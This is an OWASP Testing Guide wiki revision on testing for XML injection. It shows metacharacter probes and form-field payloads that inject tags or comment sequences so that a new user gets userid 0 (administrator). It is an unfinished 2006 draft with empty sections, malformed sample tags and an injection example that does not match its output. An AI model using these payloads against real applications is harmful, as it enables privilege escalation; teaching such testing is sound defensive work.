Difference between revisions of "Testing for XML Injection (OWASP-DV-008)"

From OWASP
Jump to: navigation, search
Line 41: Line 41:
 
  '''Username: tony'''
 
  '''Username: tony'''
 
  '''Password: Un6R34kb!e'''
 
  '''Password: Un6R34kb!e'''
  '''E-mail: s4tan0@hell.com'''
+
  '''E-mail: s4tan@hell.com'''
  
 
Will produce the request:
 
Will produce the request:

Revision as of 15:21, 14 November 2006

[Up]
OWASP Testing Guide v2 Table of Contents

Contents


Brief Summary


..here: we describe in "natural language" what we want to test.

Short Description of the Issue

...

Black Box testing and example

Let's suppose there is a web application using an xml style communication in order to perform users registration. This is done by creating and adding a new <user> node on an xmlDb file. Let's suppose xmlDB file is like the following:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0<userid/>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500<userid/>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
</users>


When a user register himself by filling an html form, the application will receive user's data in a standard request which for the sake of simplicity will be supposed to be sent as GET request.

For example the following values:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com

Will produce the request:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

to the application, which, afterwards, will build the following node:

<user> 
	<username>tony</username> 
	<password>Un6R34kb!e</password> 
	<userid>500<userid/>
	<mail>s4tan@hell.com</mail>
</user>

which will be added to the xmlDB:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0<userid/>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500<userid/>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500<userid/>
		<mail>s4tan@hell.com</mail>
	</user> 
</users>

Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability, consists in trying to insert xml metacharacters.
A list of xml metacharacters is:

  • Single quote: ' - When not sanitized, this character could throw an exception during xml

parsing if the injected value is going to be part of an attribute value in a tag. As an example, let's suppose there is the following attribute:

<node attrib='$inputValue'/>

So, if:

inputValue = foo'

is instantiated and then is inserted into attrib value:

<node attrib='foo''/>

The xml document will be no more well formed.

  • Double quote: " - this character has the same means of double quotes and it could be

used in case attribute value is enclosed by double quotes.

<node attrib="$inputValue"/>

So if:

$inputValue = foo"

the substitution will be:

<node attrib="foo""/>

and the xml document will be no more valid.

  • Angular parenthesis: > and < - By adding an open or closed angular parenthesis

in a user input like the following:

Username = foo<

the application wil build a new node:

<user> 
     <username>foo<</username> 
     <password>Un6R34kb!e</password> 
     <userid>500</userid>
     <mail>s4tan@hell.com</mail>
</user>

but the presence of an open '<' will deny the validation of xml data.


  • Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/

end of a comment. So by injecting one of them in Username parameter:

Username = foo<!--

the application wil build a node like the following:

<user> 
    <username>foo<!--</username> 
    <password>Un6R34kb!e</password> 
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

which won't be a valid xml sequence.

  • Ampersand: & - The ampersand is used in xml syntax to represent XML Entities.

that is, by using an arbitrary entity like '&symbol;' it is possible to map it with a character or a string which will be considered as non-xml text.

For example:

<tagnode>&lt;</tagnode>

is well formed and valid, and represent the '<' ASCII character.

If '&' is not encoded itself with &amp; it could be used to test XML injection.

Infact if a input like the following is provided:

Username = &foo

a new node will be created:

<user> 
<username>&foo</username> 
<password>Un6R34kb!e</password> 
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>


but as &foo doesn't has a final ';' and moreover &foo; entity is defined nowhere so xml is not valid as well.


  • CDATA begin/end tags: <![CDATA[ / ]]> - When CDATA tag is used, every character enclosed by it is not parsed by xml parser.

Often this is used when there are metacharacters inside a text node which are to be considered as text values.

For example if there is the need to represent the string '<foo>' inside a text node it could be used CDATA in the following way:

<node>
    <![CDATA[<foo>]]>
</node>

so that '<foo>' won't be parsed and will be considered as a text value.

In case a node is built in the following way:

<username><![CDATA[<$userName]]></username>

the tester could try to inject the end CDATA sequence ']]>' in order to try to invalidate xml.

userName  = ]]>

this will become:

<username><![CDATA[]]>]]></username>

which is not a valid xml representation.

  • External Entity:

Tag Injection

Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags.

Considering previous example, by inserting the following values::

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

the application will build a new node and append it to the XML database:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
	</user> 
</users>

The resulting xml file will be well formed and it is likely that the userid tag will be cosidered with the latter value (0 = admin id). The only shortcoming is that userid tag exists two times in the last user node, and often xml file is associated with a schema or a dtd. Let's suppose now that xml structure has the following DTD:

<!DOCTYPE users [
	  <!ELEMENT users (user+) >
	  <!ELEMENT user (username,password,userid,mail+) >
	  <!ELEMENT username (#PCDATA) >
	  <!ELEMENT password (#PCDATA) >
	  <!ELEMENT userid (#PCDATA) >
	  <!ELEMENT mail (#PCDATA) >
]>

to be noted that userid node is defined with cardinality 1 (userid).

So if this occurs, any simple attack won't be accomplished when xml is validated against the specified DTD.

If the tester can control some value for nodes enclosing userid tag (like in this example), by injection a comment start/end sequence like the following:


Username: tony
Password: Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com

xml database file will be :

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password><!--</password> 
		<userid>500</userid>
		<mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
	</user>
</users>

This way original userid tag will be commented out and the one injected will be parsed in compliance to DTD rules.
The result is that user 'tony' will be logged with userid=0 ( which could be an administrator uid)


References

Whitepapers

Tools


OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents